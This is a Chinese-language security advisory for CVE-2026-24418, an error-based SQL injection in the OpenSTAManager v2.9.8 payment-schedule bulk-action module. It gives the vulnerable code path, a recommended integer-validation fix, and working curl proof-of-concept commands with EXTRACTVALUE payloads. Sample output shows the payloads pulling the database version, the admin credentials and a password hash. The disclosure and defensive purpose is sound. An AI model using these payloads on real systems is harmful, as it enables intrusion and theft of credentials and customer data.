| 字段 | 详细信息 |
|---|---|
| CVE ID | CVE-2026-24418 |
| 严重性 | 高 |
| 安全公告 | 查看公告 |
| 发现者 | Lukasz Rybak |
OpenSTAManager v2.9.8 的 Scadenzario(付款计划)批量操作模块中存在严重的基于错误的 SQL 注入漏洞,允许经过身份验证的攻击者通过 XML 错误消息提取完整的数据库内容,包括用户凭据、客户个人身份信息(PII)和财务记录。
状态: ✅ 已在真实实例上确认并测试(v2.9.8)
漏洞参数: id_records[](POST 数组)
受影响端点: /actions.php?id_module=18(Scadenzario 模块)
攻击类型: 基于错误的 SQL 注入(IN 子句)
OpenSTAManager v2.9.8 的 Scadenzario(付款计划)模块批量操作处理程序中存在严重的基于错误的 SQL 注入漏洞。应用程序在使用 id_records 数组元素构造 SQL IN() 子句之前,未能验证这些元素是否为整数,从而允许攻击者注入任意 SQL 命令,并通过 XPATH 错误消息提取敏感数据。
漏洞链条:
入口点: /actions.php(第 503-506 行)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
array_clean() 函数仅移除空值——它不会验证类型。
易受攻击的函数: /lib/util.php(第 54-60 行)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
影响: 该函数会过滤掉空值,但会接受任何非空值,包括 SQL 注入载荷。
SQL 注入点: /modules/scadenzario/bulk.php(第 88 行)主要漏洞
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
根本原因分析:
该漏洞存在的原因如下:
post('id_records') 返回用户可控的数组array_clean() 仅移除空值,不移除非整数值implode(',', $id_records) 将数组元素直接拼接到 SQL 中id_records[]=1&id_records[]=(MALICIOUS SQL)# 来注入 SQL受影响的代码路径:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
步骤 1:登录
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
步骤 2:验证漏洞(基于错误的 SQL 注入)
测试 1:提取数据库用户和版本
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
响应(攻击者可看到的错误消息):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
测试 2:提取管理员凭据
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
响应:
<code>XPATH syntax error: '~admin:[email protected]'</code>
测试 3:提取密码哈希(第 1 部分 - 前 31 个字符)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
响应:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
测试 4:提取密码哈希(第 2 部分 - 第 32-60 个字符)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
响应:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
合并后的密码哈希:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**所有可访问 Scadenzario(付款计划)模块批量操作功能的经过身份验证的用户。
建议修复方案:
主要修复方案 - 类型验证:
文件:/modules/scadenzario/bulk.php
修复前(存在漏洞 - 第 88 行):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
修复后(已修复):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
由 Łukasz Rybak 发现
此 CVE 已按照协同漏洞披露实践进行了负责任地披露。此处提供的信息仅用于教育和防御目的。
影响: $id_records 中的数组元素通过 implode() 直接拼接,未进行类型验证或使用 prepare(),从而可导致完整的 SQL 注入。